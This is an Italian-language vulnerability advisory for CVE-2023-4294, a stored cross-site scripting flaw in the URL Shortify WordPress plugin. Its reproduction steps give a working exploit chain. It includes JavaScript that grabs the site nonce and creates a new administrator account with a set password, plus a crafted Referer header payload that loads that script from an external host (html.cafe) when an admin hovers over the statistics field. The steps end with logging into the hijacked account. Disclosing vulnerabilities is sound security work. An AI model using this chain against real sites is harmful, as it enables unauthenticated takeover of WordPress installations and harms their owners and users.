CVE ID: CVE-2023-4294

Tipo di vulnerabilità: Cross-Site Scripting

Descrizione: Il plugin URL Shortify per WordPress è vulnerabile a Stored Cross-Site Scripting tramite l'header referrer nelle versioni fino alla 1.7.5 inclusa, a causa di una insufficiente sanitizzazione dell'input e di un inadeguato escaping dell'output. Ciò consente a attaccanti non autenticati di iniettare script web arbitrari in pagine che verranno eseguiti ogni volta che un utente accede a una pagina iniettata.

Passaggi per riprodurre:

1. Add a new shortened link in the interface <host>/wp-admin/admin.php?page=us_links&action=new, in this case it will be:
<host>/mr83

2. Prepare a JavaScript code that will automatically add a new user with administrator privileges to the website and host it on an external resource, e.g. html.cafe.

const url = 'https://<host>/wp-admin/user-new.php';fetch(url).then(response => response.text()).then(html => {const parser = new DOMParser();const doc = parser.parseFromString(html, 'text/html');const nonceValue = doc.getElementById('_wpnonce_create-user').value;const requestOptions = {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: `action=createuser&_wpnonce_create-user=${encodeURIComponent(nonceValue)}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=administrator&email [email protected]&first_name=&last_name=&url=&pass1=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&pass2=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&send_user_notification=0&role=admin &ure_other_roles=&createuser =Add+New+User`};return fetch(url, requestOptions);});

3. Send request with a crafted referer header value.

GET /mr83 HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Referer: https://example.com'abc=""onmouseover='var scriptElement=document.createElement(`script`);scriptElement.src=`https://html.cafe/x…d`;document.head .appendChild(scriptElement);
Connection: close

4. Wait for the administrator interaction with the vulnerable "Referer" field in the statistics of the created link.
<host>/wp-admin/admin.php?page=us_links&action=statistics&_wpnonce=5252159b66&id=1

5. Log in to the newly created administrator account.
